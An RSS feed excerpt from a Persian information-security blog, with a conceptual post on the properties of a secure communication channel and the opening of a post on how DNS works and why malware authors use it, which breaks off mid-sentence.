https://virgool.io/memoryleak/feed نوشتار در باب امنیت اطلاعات. fa 2026-06-10 14:07:26 https://files.virgool.io/upload/publication/sxz8y8dvtunm/5vuwni.png https://virgool.io/memoryleak https://virgool.io/memoryleak/%DA%A9%D8%A7%D9%86%D8%A7%D9%84-%D8%A7%D8%B1%D8%AA%D8%A8%D8%A7%D8%B7%DB%8C-%D8%A7%D9%85%D9%86-jqsgfrlmd8ov پرویز و پونه را تصور کنید که یک کلید رمزنگاری را -که هیچ‌کس دیگری از مقدار آن اطلاع ندارد- به روش مطمئنی با همدیگر به اشتراک گذاشته‌اند (مثلا فرض کنید در یک دیدار حضوری در پارک محل، روی استفاده از یک کلید خاص با یکدیگر توافق کرده اند). آن‌ها عهد کرده‌اند هر پیامی که قرار است بین‌شان تبادل شود، با این کلید و با یک الگوریتم رمزنگاری استاندارد و قوی، Encrypt شود. آیا در این صورت، کانال ارتباطی امنی بین آن‌ها به وجود آمده است؟پاسخ این سوال در تعریف کانال ارتباطی امن نهفته است.در ادبیات امنیت و رمزنگاری، تعاریف مختلفی از کانال ارتباطی امن وجود دارد. اگر همه‌ی آنچه از ویژگی‌هایی که در این تعابیر مختلف برای امن نامیده‌شدن یک کانال ارتباطی ذکر شده است را گرد هم آوریم، لیست زیر به دست می‌آید:حفظ محرمانگی (Confidentiality): محتوای پیام‌های تبادل شده، برای افراد میانی مسیر قابل استخراج و مشاهده نباشد.حفظ یکپارچگی (Integrity): در صورت تغییر پیام در میان مسیر، دریافت کننده، متوجه این تغییر بشود.حفظ حریم خصوصی (Privacy): با مشاهده‌ی پیام‌های رمزشده‌ی تبادلی، اطلاعات [مهمی] -نظیر رفتار کاربران- قابل استخراج نباشد.حفظ ترتیب و پیش‌گیری از تکرار (Reorder&Replay Attack Prevention): کاربر میانی نتواند با تکرار ارسال یک پیام رمز شده، یا با تغییر ترتیب ارسال بسته‌ها، برداشت اشتباهی از منظور فرستنده‎ی پیام در جهت دریافت کننده‌ی پیام ایجاد کند.با این تفسیر، آنچه با Encryption بدست می‌آید، تنها Confidentiality است و مدل معرفی شده در ابتدای این نگاره برای ارتباط پرویز و پونه، تنها حافظ محرمانگی پیام‌های تبادلی است. به عبارت دیگر، اگر پدر پونه، به عنوان مثال، یک بیت از مقدار رمز‌شده‌ی پیام ارسالی پرویز را در میان مسیر تغییر دهد، پونه، پیش و پس از خارج کردن مقدار دریافتی از حالت رمز، قادر به تشخیص این تغییر نیست.سوال احتمالی: اگه پدر پونه داده‌های رمزشده‌ی تبادلی بین مسیر را تغییر دهد، آنگاه در سمت دریافت کننده، پیام از رمز خارج نمی‌شود و به این نحو، دریافت کننده متوجه تغییر پیام می‌شود. درست است؟جواب: خیر! الگوریتم‌های رمزنگاری، توابعی ریاضیاتی هستند که از محتوای ورودی و درست و غلط بودن آن هیچ اطلاعاتی ندارند. از دید آن‌ها پیام رمز شده‌ی ورودی که قصد خارج کردن آن از رمز را دارند، تنها یک عدد است که باید روی آن محاسباتی انجام دهند و خروجی را باز پس دهند. بنابرین گزاره‌ی مطرح شده در فوق غلط است.سوال دوم: اگر پدر پونه پیام رمزشده پرویز را دستکاری کرده باشد، خروجی تابع رمزنگاری یک داده‎ی درهم و برهم خواهد شد و پونه که مثلا انتظار متنی از پرویز داشته است، الان با دریافت یک داده‌ی درهم، متوجه تغییر پیام در میان مسیر خواهد شد. درست است؟اگر فرض کنیم که پونه از این که پرویز قصد ارسال چه چیزی به او دارد اطلاع دارد، یک فرض به فرض های سوال اضافه کرده‌ایم و این فرض درستی نیست! علاوه بر این، مثالی را در نظر بگیرید که پرویز یک عکس یا یک فایل موسیقی به پونه ارسال کرده است. تغییر دادن محتوای یک بسته در میان مسیر توسط پدر پونه، منجر به این می‌شود که تنها قسمتی از عکس یا فایل صوتی دریافتی خراب باشد. پونه با روال فعلی قادر به تشخیص این نخواهد بود که آیا پرویز فایل معیوبی ارسال کرده است یا این که پیام در میان راه تغییر داده شده است.همچنین پدر پونه با زیر نظر گرفتن پیام‌های کانال ارتباطی، می‌تواند تحلیل‌هایی روی رفتار و داده‌های تبادلی بین آن‌ها انجام دهد. مثلا اگه چند بار مشاهده کرد که پونه بعد از دریافت پیام‌رمزشده‌ای که مقدار آن 0x112233445566 است از خانه بیرون می‌رود، می‌تواند تشخیص دهد این پیام قبل از رمز شدن حاوی جمله‌ای شبیه "از خانه بیرون بیا" است و این ناقض Privacy است.و علاوه بر موارد بالا، اگر پدر پونه، چندین پیام رمزشده‌ی پونه به پرویز را در میان مسیر نگهداری کند و با ترتیب دیگری ارسال کند یا یک پیام رمزشده را به جای یک بار 5 بار ارسال کند، پرویز قادر به تشخیص این موارد نخواهد بود.افزودن یکپارچگی با Digest یا MAC:فرض کنید پرویز و پونه، به جای قرارداد ساده‌ی بالا، چنین با هم وعده کنند که هر موقع تصمیم به ارسال پیامی داشته باشند، ابتدا از محتوای پیام یک مقدار Hash تولید کنند و سپس رمز شده‌ی پیام خود را به همراه مقدار Hash (که Digest نیز نامیده می‌شود) ارسال کنند. به عبارت دیگر پیام را به صورت زیر ارسال کنند:نمونه‎ی پیام ارسالی با اضافه کردن Hashاز طرف دیگر، دریافت کننده‌ی پیام هم پس از دریافت پیام، ابتدا قسمت رمز شده را از رمز خارج کند و سپس از مقدار آن، Hash تولید کند و اگر مقدار Hash تولید شده با مقدار Hash دریافتی به همراه پیام رمزشده یکسان بود، به تغییر نکردن پیام در میان مسیر اطمینان کند.اما چرا؟جواب: با توجه به این که پدر پونه کلید رمزنگاری X را ندارد، اگر قسمتی از داده‌ی رمز شده در پیام پرویز یا قسمتی از Hash آن یا حتی قسمتی از هر دو بخش آن را تغییر دهد، وقتی پونه بخش رمزشده را از رمز خارج می‌کند و از آن Hash تولید می‌کند، مقدار Hash داده‌ی جدید با مقدار Hash پیوست شده به پیام متفاوت خواهد بود.بنابراین با این تغییر، علاوه بر Confidentiality، فاکتور Integrity نیز در پیام‌های تبادلی حفظ می‌شود.مدل بالا ساختار ساده‌ای از پیاده‌سازی Integrity را بیان می‌کند. در پروتکل‌های امروزی، معمولا به جای استفاده از Hashهایی نظیر SHA و MD5، از الگوریتم‌هایی با عنوان الگوریتم‌های MAC یا Message Authentication Code استفاده می‌شود. این الگوریتم‌ها در نهایت همانند Hash یک Digest از پیام اصلی تولید می‌کنند، ولی با این تفاوت که برای تولید این Digest، همانند پروتکل‌های Encryption/Decryption نیاز به یک کلید دارند.حفظ ترتیب و پیش‌گیری از تکرار با Sequence Numberبا مدل توصیف شده در بالا، پدر پونه می‌تواند مانع رسیدن یک پیام به پرویز شود و پرویز از این اتفاق با خبر نمی‌شود. یا برعکس می‌تواند یک پیام پرویز را چندین بار متوالی پشت سر هم به پونه ارسال کند. با توجه به این که پونه قادر به تشخیص این تکرار خراب‌کارانه نیست، این عمل منجر به حمله‌ای به نام Replay Attack می‌شود. برای این که به اهمیت پیش‌گیری از Replay Attack پی ببرید، فرض کنید پدر پونه، بر حسب اتفاق پیام رمزشده‌ای از پرویز را 5 بار به پونه ارسال کند که محتوای آن "عزیزم به پدرت 100 هزارتومان پول بدهکارم، از حسابمان به او بده" است! در ارتباط بین یک کلاینت بانکی با سرور بانکی، چنین پیامی خیلی نامحتمل نیست. بنابراین لازم است به نحوی از این حملات پیشگیری شود.راه حل ساده‌ای که برای این مسئله وجود دارد، اضافه کردن یک Sequence Number به پیام است. به این صورت که پرویز و پونه قرار می‌گذارند برای هر یک عدد پیامی که به هم دیگر ارسال می‌کنند، در ابتدای هر پیام یک عدد اضافه کنند که این عدد، شماره‌ی تعداد پیام‌هایی است که تا به حال ارسال کرده‌اند و این عدد باید در مکانیزم Hash هم لحاظ شود. از طرف دیگر قرار می‌گذارند اگر یک پیام با Sequence Number تکراری دریافت کردند، از آن پیام چشم‌پوشی کنند. لازم به ذکر نیست که به وسیله‌ی این Sequence Number، پرویز و پونه حتی می‎توانند جابجایی پیام‌ها را تشخیص داده و اصلاح کنند.حفظ Privacy با ...؟حفظ حریم خصوصی، در سطح‌های مختلف، پیچیدگی‌های مختلفی دارد. یکی از روش‌هایی اولیه‌ای که به ذهن ممکن است برسد این است که برای حفظ حریم خصوصی در حد مشخص نشدن پیام‌های تکراری برای پدر پونه،پرویز و پونه با هم قرار بگذارند هر بار که قصد ارسال پیامی دارند، یک داده‌ی تصادفی تولید کنند و آن داده‌ی تصادفی را به نحوی در ابتدای پیام جای دهند و رمز کنند، که گیرنده پس از دریافت داده‌ی رمزشده و استخراج آن از حالت رمز، بداند از کجا تا به کجای خروجی، آن مقدار تصادفی است و باید حذف شود و از کجا تا به کجای خروجی، پیام اصلی است و باید پاسخ داده شود. به این مقدار تصادفی اصطلاحا Nonce گفته می‌شود. یکی دیگر از روش‌های حفظ حریم خصوصی استفاده از الگوریتم‌هایی است که علاوه بر کلید رمزنگاری به مقداری با عنوان IV یا Initial Vector نیاز دارند. مقدار IV نیز به صورت تصادفی انتخاب می‌شود و بعد به همراه داده‌ی رمزشده ارسال می‌شود. دریافت کننده که کلید رمزنگاری را دارد و مقدار IV را دریافت کرده است، قادر به رمزگشایی پیام است و از آنجا که با هر پیام یک مقدار تصادفی جدید توسط فرستنده برای IV تولید می‌شود، پیام‌های یکسان تکراری، مقدار رمزشده‌ی متفاوت خواهند داشت و پدر پونه به اطلاعاتی دست پیدا نمی‌کند. روش سوم این است که کلید ارتباطی به صورت دوره‌ای و در فواصل کوتاه (مثلا بعد از هر بار گفتگوی پونه و پرویز) تغییر کند و ...در همه‌ی روش‌های بالا (که به خاطر پیچیدگی‌های الگوریتم‌های مختلف رمزنگاری از جزئیات و ملاحظات تکنیکال هر کدام صرف نظر کردیم)، حریم خصوصی تنها تا حدی حفظ می‌شود و بعضی اطلاعات همچنان برای کاربر بیرونی قابل استخراج است. مثلا در همه‌ی روش‌ها، پدر پونه به هر حال به زمان شروع و پایان گفتگوی پرویز و پونه دست پیدا می‌کند. ممکن است این اطلاعات از نظر شما بی اهمیت باشد؛ ولی تصور کنید که یکی از مهم‌ترین حملاتی که در حال حاضر نهادهای امنیتی نظیر NSA روی شبکه‌ی TOR انجام می‌دهند، با هدف کسب همین نوع اطلاعات انجام می‌شود و نتیجه‌ی آن پیگیری و افشای هویت کاربرانی است که سعی در ناشناس ماندن دارند. جزئیات این حملات را اینجا می‌توانید بخوانید؛ ولی به طور خلاصه مهاجم با مشاهده‌ی زمان ورود درخواست کاربران به nodeهای ورودی شبکه و همچنین مشاهده‌ی زمان خروج درخواست‌ها از nodeهای خروجی شبکه، یک Timing Correlation انجام می‌دهد و کاربری را که به یک وب‌سرور خاص دسترسی پیدا می‌کند را پیدا می‌کند. یا به عنوان مثال دیگری، یک نهاد امنیتی قوی می‌تواند علی‌رغم این که قادر به رمزگشایی پیام‌های پیام‌رسانی مانند Signal نیست، با بررسی زمان ارسال ترافیک‌های مربوط به تماس این نرم‌افزار برای کاربران یک شبکه، کاربرانی که با هم مرتبط هستند را شناسایی کند.البته قابل ذکر است که آنچه در بالا از آن به عنوان حفظ حریم خصوصی یاد کردیم، می‌تواند با عنوان <از بین بردن قابلیت ردیابی> یا همان Traceability افراد و همچنین <حفظ گمنامی> یا Anonymity افراد نیز مطرح شود و شاید این دو واژه عبارت‌های بهتری برای آن باشند. علاوه بر این، کل محتوای این بند می‎تواند به تعبیری زیرمجموعه‎ی محرمانگی قرار داده شود.روی هم رفته، پیاده سازی پروتکلی که در مقابل این حملات مقاوم باشد به سادگی امکان پذیر نیست و اغلب راه‌هایی که وجود دارد به لحاظ Performance کارایی بالا ندارند. مثلا در مورد شبکه‌ی Tor، یکی از روش‌ها این است که nodeهای میانی، پیام‌هایی را که دریافت می‌کنند، با یک وقفه‌ی تصادفی به node بعدی ارسال کنند. یا روش دیگر این است که همواره بین nodeها، پیام‌هایی در حال تبادل باشد که از دید ناظر بیرونی (مهاجم) قابل تفکیک از پیام‌های اصلی نباشد ولی برای خود nodeهای شبکه، قابل تمییز از پیام‌های واقعی باشند.دسترس پذیری یا Availability کانال ارتباطی رو فراموش کردیم؟خیر؛ دسترس پذیری به این معناست که کانال ارتباطی همواره وجود داشته باشد. تامین این ویژگی برای کانال ارتباطی، خیلی از دیدگاه رمزنگاری و امنیتی قابل تامین نیست؛ بلکه روش‌هایی نظیر تامین پهنای باند کافی و تهیه‌ی Replication و پیاده‌سازی مکانیزم‌های High Availability پاسخ‌گوی آن است. به همین دلیل در ابتدای متن اصلی به آن اشاره نکردیم. البته لازم به ذکر است که برای دسترس پذیری کانال ارتباطی موارد دیگری شامل مقاوم بودن سیستم (اعم از خود بستر ارتباطی و نرم‌افزارها و تجهیزات طول مسیر) در برابر حملات DoS و همچنین صحت عملکرد و سرویس‌دهی مداوم همه‌ی تجهیزات و نرم‌افزارها به کاربران احراز هویت شده نیز مورد نیاز است و دسترس‌پذیری محدود به وجود بستر شبکه‌ای کانال ارتباطی نیست.مسئله‌ی Forward Secrecyیکی از مسائلی که در ارتباط امن جدیدا مورد توجه قرار گرفته است این است که اگر به نحوی کلیدهای رمزنگاری روی یک رایانه به خطر افتاد و افشا شد، با آن کلیدها، تنها آخرین نشست و آخرین تبادل پیام رمزشده قابل رمزگشایی باشد و مثلا اگر مهاجم ترافیک رمزشده‌ی روزهای قبل را جایی ذخیره و نگهداری کرده است، با کلیدهایی که امروز بدست آورده است نتواند آن‌ها را رمزگشایی کند. ارتباط و الگوریتمی که این ویژگی را دارد، اصطلاحا Forward Secrecy یا همان Perfect Forward Secrecy دارد. این ویژگی، یک ویژگی کانال ارتباطی نیست، بلکه یک ویژگی پروتکل ارتباطی است. به همین دلیل از آوردن آن در لیست ویژگی‌های کانال امن صرف نظر کردیم.از آنجایی که شایعاتی وجود دارد مبنی بر این که نهادهای جاسوسی/امنیتی نظیر NSA، همه‌ی ترافیک‌های رمزشده‌ی حساس دنیا را Capture و ذخیره می‌کنند تا اگر به نحوی روزی قادر به رمزگشایی آن‌ها بودند (مثلا با بدست آوردن کلیدهای سرورها و کاربران یا با بدست آوردن قدرت شکستن الگوریتم)، اطلاعات درون آن‌ها را از دست ندهند، این ویژگی بیشتر مورد توجه قرار گرفت و در نسخه‌های اخیر TLS به پروتکل اضافه شد. پس تبادل کلید امن چی؟در شرح سوالی که ابتدای این نگاره مطرح کردیم، فرض کردیم پرویز و پونه کلید رمزنگاری را به صورت Face2Face با همدیگر به اشتراک گذاشته اند. این عمل در واقعیت برای ارتباط‌های اینترنتی امکان پذیر نیست و نیازمند فرایندی هستیم که کاربران بتوانند به صورت کاملا امن، کلیدهای رمزنگاری اولیه را (Pre-Shared Key) با هم به اشتراک بگذارند. الگوریتم‌های Key Exchange وظیفه‌ی پیاده‌سازی این فرایند را بر عهده دارند. از آنجایی که این ویژگی نیز همانند ویژگی Forward Secrecy، از ویژگی‌های پروتکل ارتباطی است و به خود کانال ارتباطی امن ارتباطی ندارد، در آینده در ارتباط با نحوه‌ی انجام آن پستی جداگانه خواهیم نوشت.احراز هویت یا Authentication؟در ارتباط پرویز و پونه شاید این مسئله خیلی مورد توجه نباشد. اما حالتی را تصور کنید که علاوه بر پرویز و پونه، کاربران دیگری در این شبکه تبادل پیام وجود دارند. با موارد ذکر شده در فوق، اگرچه برای هر کاربر امکان تمییز پیام‌های دیگر کاربران از همدیگر وجود دارد (با این فرض که هر دو کاربر موجود، برای تبادل پیام، یک کلید منحصربفرد محرمانه با یکدیگر به اشتراک گذاشته باشند و فرد دیگری از آن اطلاع نداشته باشد)، اما این تمییز پیام به روش بهینه‌ای قابل انجام نیست. برای حل این مشکل (یعنی برای احراز هویت و تمییز پیام کاربران مختلف از همدیگر)، امضاهای دیجیتالی پا به عرصه‌ی وجود گذاشتند. در پست‌های آتی در ارتباط با این مکانیزم‌ها به صورت مفصل خواهیم نوشت. سخن پایانی این که، از یاشار عزیز مجددا بابت review تشکر می‌کنم. همچنین از حسین عبدی عزیز بابت کامنت فوق‌العاده‌ای که گذاشت و باعث اصلاح قسمت‌های مهمی از متن شد تشکر می‌کنم و توصیه میکنم حتما کامنت رو بخونید و بعد صمیمانه شما رو به نظرات مثبت و منفی، که مسلما همه‌ش به بهبود کیفیت این پست و پست‌های آتی کمک می‌کنند، دعوت می‌کنم. هر ایراد فنی/نگارشی و هر مورد از قلم افتاده‌ای رو از طریق نظرات بهم اطلاع بدید اصلاح می‌کنم. دوباره ممنون که [تا به اینجا] خوندید. :) مموری لیک ابراهیم قاسمی Sun, 14 Jul 2019 00:00:08 +0430 https://virgool.io/memoryleak/httpsvirgooliosudocdhomednsmalwares-sog889qoimjh ناگفته می‌دانید که پروتکل DNS یا Domain Name System در کنار پروتکل‌هایی چون HTTP، SNMP، و HTTPS، یکی از معروف‌ترین پروتکل‌های شبکه است و قسمت عمده‌ای از اتفاقاتی که دور از نگاه کاربر، در پسِ زمینه‌ی مرورگر و درون شبکه انجام می‌شود تبادل بسته‌های این پروتکل بین رایانه‌ی کاربر و سرورهای DNS یا سرورهای DNS Cache است. در این مقاله قصد داریم در گام نخست با معرفی و شرح علت نیاز به این پروتکل آغاز کنیم و با نحوه‌ی عملکرد آن آشنا شویم و پس از آن با بر شمردن ویژگی‌هایی از DNS، علت جذابیت و نحوه‌ی استفاده از آن توسط بعضی توسعه‌دهندگان بدافزار را ارائه دهیم. در صورتی که احساس می‌کنید پروتکل DNS را به قدر کافی می‌شناسید، از خواندن پاراگراف‌های زیر تا ابتدای پاراگراف “گام پنجم” صرف نظر کنید.واژه نامهبه جهت حفظ یکپارچگی متن، در ابتدای این نگاره، اصلاحاتی که در ادامه ظاهر می‌شوند را معرفی می‌کنیم.– میزبان یا Host: یک فضای حافظه‌ی همیشه در دسترس درون اینترنت که در واقع یک رایانه‌ی همیشه روشن و همیشه متصل به اینترنت است که فایل‌های مرتبط به وب‌سایت (نظیر متن‌ها و عکس‌ها) بر روی آن بارگذاری می‌شوند. – دامنه یا Domain: یک نام یکتا برای وب‌سایت که کاربران با وارد کردن آن درون مرورگر، به سایت شما دسترسی پیدا می‌کنند.– Web Server: این واژه هم به سخت افزار Host و هم به نرم‌افزاری روی Host که وظیفه‌ی اجرای نرم‌افزار وب‌سایت را بر عهده دارد، اطلاق می‌شود. در مورد نرم‌افزار می‌توان از Apache و IIS به عنوان نمونه‌هایی از Web Serverها اشاره کرد.– Web Application: نرم‌افزار وب‌سایت است که وظیفه‌ی پردازش و پاسخگویی به درخواست‌های کاربران را بر عهده دارد. این نرم‌افزار می‌تواند به زبان‌های مختلفی شامل PHP، پایتون، جاوا، سی‌شارپ و حتی C توسعه داده شود. وب‌سرور و Web Application اغلب به اشتباه به جای همدیگر به کار برده می‌شوند.– RAT: مختصر شده‌ی Remote Access Trojan است و همانطور که از نام آن بر می‌آید، بدافزاری است که به وسیله‌ی آن توسعه دهنده‌ی بد افزار از دور می‌تواند روی رایانه‌ی قربانی دستوراتی اجرا نماید. این دستورات به عنوان مثال می‌تواند شامل حذف کردن یا ارسال کردن لیستی از فایل‌های قربانی باشند. چند نمونه از RATهای متن‌باز: اینجا، اینجا و اینجا!– Botnet: بدافزاری است که از آن معمولا برای انجام حملات DDoS استفاده می‌شود. در این نوع حملات، تعداد زیادی Botnet که همگی تحت اختیار یک توسعه‌ی دهنده‌ی بدافزار هستند، به صورت همزمان و معمولا با دستور توسعه دهنده‌ی بدافزار، اقدام به ارسال ترافیک حمله به یک وب‌سایت می‌کنند.– C&C: سروری است که بدافزارنویس از آن برای ارتباط با بدافزارهای خود استفاده می‌کند. C&C مخفف Command & Control است و با C2 نیز نمایش داده می‌شود. این رایانه در واقع واسطه‌ی بین توسعه‌دهنده‌ی بدافزار و بدافزار نصب شده روی رایانه‌ی قربانیان می‌شود و بدافزارنویس باید به هر نحوی می‌تواند ارتباط بین بدافزارها و این سرور را مخفی و غیرقابل مسدود کردن نماید.گام نخست: DNS چیست؟ چگونه عمل می‌کند؟نقش اصلی DNS به صورت خلاصه، تبدیل نام‌های دامنه به آدرس‌های IP است. به عبارت ساده‌تر و به عنوان مثال، نقش این پروتکل تبدیل دامنه‌ی www.google.com به آدرس آی‌پی 172.217.22.36 (یا مقادیر IPهای دیگر این دامنه) است. اما چرا به چنین پروتکلی نیاز است؟جواب این سوال در دو گزاره خلاصه ‌می‌شود:پروتکل‌های اصلی شبکه که اینترنت بر پایه‌ی آن‌ها سوار است و از آن‌ها برای تبادل بسته‌ها بین nodeهای مختلف شبکه (مثلا بین رایانه‌ی کاربر و یک وب‌سرور) استفاده می‌شوند، به آدرس IP طرفین نیاز دارند و دامنه‌ی سایت برای آن‌ها کاربردی ندارد.به خاطر سپردن نام دامنه‌ی سایت‌های مختلف، برای افراد بسیار ساده‌تر از به خاطر سپردن آدرس IP سایت‌ها است. بنابراین پروتکل DNS با تبدیل نام دامنه به آدرس IP، کمک می‌کند که کاربران بتوانند بدون فشار به سلول‌های خاکستری، از پروتکل‎های متداول شبکه (در این مورد پروتکل IP یا همان Internet Protocol) استفاده کنند.بد نیست بدانید که پروتکل DNS علاوه بر نقش ذکر شده در فوق، کاربردهای متنوع دیگری نیز دارد. به عنوان مثال می‌توان در DNS Serverها با تعریف کردن یک مقدار IP واحد برای چندین دامنه‌ی مختلف، روی یک سروریک Virtual Hosting پیاده سازی کرد. همچنین می‌توان برای یک دامنه‌ی واحد چندین IP مختلف تعریف کرد و DNS Server را به نحوی تنظیم کرد که در پاسخ هر بار Query، یکی از آن مقادیر IPها را برای آن دامنه‌ی مذکور، به درخواست کننده باز گرداند و به این وسیله از آن به عنوان یک Load Balancer  ساده بهره برد. از دیگر کاربردهای جالب DNS، تقسیم ترافیک بسته به موقعیت جغرافیایی درخواست دهنده‌ی DNS Query بین CDNهای یک وب‌سایت است.گام دوم: تا به اینجا با ماهیت و قابلیت‌های این پروتکل آشنا شدیم. اما نحوه‌ی استفاده از این پروتکل و نحوه‌ی عملکرد آن به چه صورت است؟برای پاسخ به این سوال، بهتر است به صورت اجمالی نحوه‌ی ایجاد/به‌وجودآمدن یک وب‌سایت در اینترنت را بیان کنیم.برای داشتن یک وب‌سایت شما به دو مورد نیاز دارید:۱- Host۲- یک دامنه‌ی یکتا که درون DNS Server وب‌سایت، آن را به آدرس IP هوست خود Map کنید.سوال: اگر از قوی بودن حافظه‌ی کاربران وب‌سایت خود برای به خاطر سپردن IP وب‌سایت خود، اطمینان داشته باشیم، آیا می‌توانیم از خیر داشتن دامنه‌ برای وب‌سایت بگذریم و به جای آن تنها آدرس IP را در اختیار کاربران قرار دهیم؟پاسخ:هم بله و هم خیر! هنگامی که شما در صدد خرید Host برمی‌آیید، از طرف فروشندگان با دو گزینه مواجه می‌شوید:۱- هوست اختصاصی یا Dedicated Host۲- هوست اشتراکی یا Shared Hostدر هوست اختصاصی، فروشنده یک رایانه‌ی مجزا (در واقع یک IP مجزا)، تنها و تنها در اختیار شما قرار می‌دهد و روی آن رایانه، وب‌سایت دیگری وجود ندارد و بنابراین همه‌ی ترافیک‌های دریافتی را به نرم‌افزار وبسایت شما ارسال می‌کند؛ اما در هوست اشتراکی که از هوست اختصاصی به مراتب ارزان‌تر است، فروشنده آن رایانه را در اختیار چند نفر قرار می‌دهد و ترافیک‌های دریافتی را خودش، با توجه به فیلدهایی درون بسته‌های دریافتی، بین نرم‌افزار وب‌سایت هر کدام از سایت‌ها تقسیم می‌کند.در صورتی که شما هوست اختصاصی خرید کرده باشید، می‌توانید از خیر خرید دامنه بگذرید و با آدرس IP کاربران‌تان را به وب‌سایت خود هدایت کنید، اما در صورتی که از هوست اشتراکی استفاده می‌کنید، با توجه به این که فیلدهای تفکیک کننده‌ی ترافیک شما از ترافیک سایر وب‌سایت‌های روی آن هوست، از نام دامنه بدست می‌آیند، لازم است که برای وب‌سایت خود یک دامنه‌ی یکتا خریداری کنید. (در آینده توضیح خواهیم داد که این “لازم است”، “باید” نیست و می‌توان به نحوی آن را دور زد!).گام سوم: اما برای بدست آوردن دامنه و Host و اتصال آن‌ها به یکدیگر باید چه کنیم؟برای خرید دامنه می‌توانید به وبسایت irnic یا وبسایت‌هایی که با واسطه از این سایت برای شما دامنه خریداری می‌کنند (مانند iranhost، hostiran، iranserver یا mihanwebhost) مراجعه کنید و پس از ارائه‌ی یک مجموعه اطلاعات احراز هویتی و تشکیل حساب کاربری، یک دامنه‌ی یکتا خریداری کنید. پس از آن نیز از یک فروشنده‌ی host (که اغلب فروشندگان دامنه، فروشنده‌ی host نیز هستند)، یک host خریداری می‌کنید. در خریداری host، علاوه بر این که شما امکان خریداری host اختصاصی یا اشتراکی دارید، گزینه‌های متنوعی از قبیل سیستم‌عامل سرور، مقدار حافظه‌ی هارد دیسک، مقدار RAM، مقدار پهنای باند و حتی تعداد هسته‌ی CPU نیز در اختیار شماست که باید با توجه به نیازمندی‌های وب‌سایت خود آن‌ها را بهینه انتخاب نمایید.پس از خریداری Host، فروشنده‌ی Host اولا از شما نام دامنه‌ی وب‌سایت‌تان را درخواست می‌کند و سپس آدرس Name Server خود را در اختیار شما قرار می‌دهد و از شما می‌خواهد که آدرس این Name Serverها را در فیلدهایی با همین نام درون پنل مدیریتی دامنه، که فروشنده‌ی دامنه در اختیار شما قرار داده است، ذخیره نمایید (با توجه به این که تنها شما نام‌کاربری و رمز عبور پنل مدیریتی دامنه را در اختیار دارید، تنها شما می‌توانید برای دامنه Name Server تنظیم کنید). فروشنده‌ی Host، پس از دریافت کردن نام دامنه از شما، درون جدولی از DNS Server خودش، آن نام دامنه را به IP سروری که از وی خریداری کرده‌اید Map می‌کند.گام چهارم: داستان DNS از اینجا آغاز می‌شود!از این پس وقتی کاربری وارد مرورگر می‌شود و نام دامنه‌ی شما را وارد می‌کند (یا حتی یک زیردامنه از دامنه‌ی شما را وارد می‌کند) و کلید Enter را می‎فشارد، یک DNS Query به DNS Serverی که روی رایانه‌اش تنظیم کرده است ارسال می‌شود و درون این DNS Query از آن درخواست می‌کند که آدرس IP دامنه‌ی وب‌سایت شما را به وی بازگرداند. DNS Server دریافت کننده‌ی درخواست کاربر (مثلا 8.8.8.8 یا 4.2.2.4)، عموما DNS Server فروشنده‌ی Host شما نیست، اما می‌داند برای بدست آوردن آدرس IP دامنه‌ی شما، این سوال کاربر را باید به کدام DNS Server ارجاع دهد (باید به DNS Server فروشنده‌ی Host شما که آدرس آن را در پنل مربوط به فروشنده‌ی دامنه وارد کردید ارجاع دهد. 8.8.8.8 یا 4.2.2.4 این اطلاعات را از فروشنده‎‌ی دامنه‌ی شما دریافت کرده‌اند). در نهایت، بسته به نحوه‌ی تنظیمات DNS Server و همچنین بسته به نوع DNS Query، سرور 8.8.8.8 به یکی از دو صورت زیر (تصاویر ۱ و ۲)، DNS Query کاربر را به DNS Server فروشنده‌ی Host می‌رساند. این DNS Server نیز در پاسخ، آدرس IP سروری که نرم‎افزار وب‌سایت شما روی آن است (آدرس Host) را یا مستقیما به کاربر یا با واسطه‌ی 8.8.8.8 به کاربر باز‌می‌گرداند. کاربر/مرورگر با دریافت کردن IP، یک بسته‌ی اینترنتی HTTP/HTTPS تولید می‌کند و به مقصد آن IP ارسال می‌کند.در توضیح تصاویر فوق به این نکته اکتفا می‌کنیم که، درخواست‌های DNS کلاینت به سمت DNS Server تنظیم شده در رایانه، یکی از دو مدل Iterative یا Recursive می‌توانند باشند. در مدل Iterative کلاینت از DNS Server درخواست می‌کند که یا آدرس IP دامنه‌ی پرسش شده را به وی بازگرداند و یا آدرس DNS Serverی که از آن IP اطلاع دارد. به عبارت دیگر، در صورتی که DNS Server مقدار IP دامنه‌ی مورد جستجو را نمی‌داند، نیازی به آن نیست که برای جستجوی آن از سایر DNS Serverها تلاشی انجام دهد. در مدل Recursive که مدل پیش‌فرض DNS Queryهای سیستم عامل‌ها است، کلاینت از DNS Server درخواست می‌کند مقدار IP دامنه‌ی پرسش شده را به هر نحو که شده به دست آورد و به وی اطلاع دهد. در این مدل مانند شکل، ممکن است DNS Server پرسش کاربر را به DNS Server دیگری ارجاع دهد و پس از یک توالی جواب را دریافت کند و به کاربر باز پس فرستد.تصاویر زیر به روشن شدن آنچه تا کنون ذکر شد، کمک می‌کنند:کاربر دو DNS Query برای دامنه‌ی 0x01.ir به سرورهای 8.8.8.8 و 4.2.2.4 که DNS Serverهای گوگل هستند ارسال می‌کند.آنچه توسط فایروال شبکه‌ی کاربر مشاهده می‌شود.گوگل DNS Query دریافتی را به کمک سرورهای خود به سمت DNS Server تنظیم شده‌ی دامنه ارسال می‌کند و جواب را به کاربر باز‌می‌گرداند. (11.22.33.44)گفتیم برای Hostهای اشتراکی، سرور دریافت کننده‌ی بسته‌ها برای تفکیک بسته‌های وب‌سایت‌های مختلف به فیلدهایی درون بسته‌ها نیاز دارد که از نام دامنه بدست می‌آیند. این فیلدهای برای ترافیک HTTP فیلد Host است که در HTTP Header ظاهر می‌شود و برای ترافیک HTTPS فیلدی با نام SNI یا Server Name Indication است که درون بسته‌ی Client Hello (اولین بسته‌ی پروتکل HTTPS بعد از TCP Handshake) قرار می‌گیرد. مقدار این فیلدها دقیقا معادل همان دامنه‌ای است که کاربر درون نوار آدرس مرورگر وارد می‌کند و Enter را می‌فشارد.نکته: هم سیستم‌عامل کاربر و هم یک سری رایانه‌های بین مسیر بسته‌های کاربر تا DNS Serverها، سوال و پاسخ DNS تبادل شده را تا مدت زمانی Cache می‌کنند. بنابراین وقتی مرورگر کاربر در یک نشست دیگر، مجددا بسته‌ی DNS Query برای آن دامنه ارسال می‌کند، ممکن است این‌بار پاسخ توسط OS یا یک رایانه‌ی بین مسیر یا توسط 8.8.8.8 به مرورگر ارسال شود و بسته‌ی DNS Query به DNS Server فروشنده‌ی Host نرسد. مقدار Timeout این Cache کردن‌ها قابل تنظیم است.سوال: فایل Hosts که درون 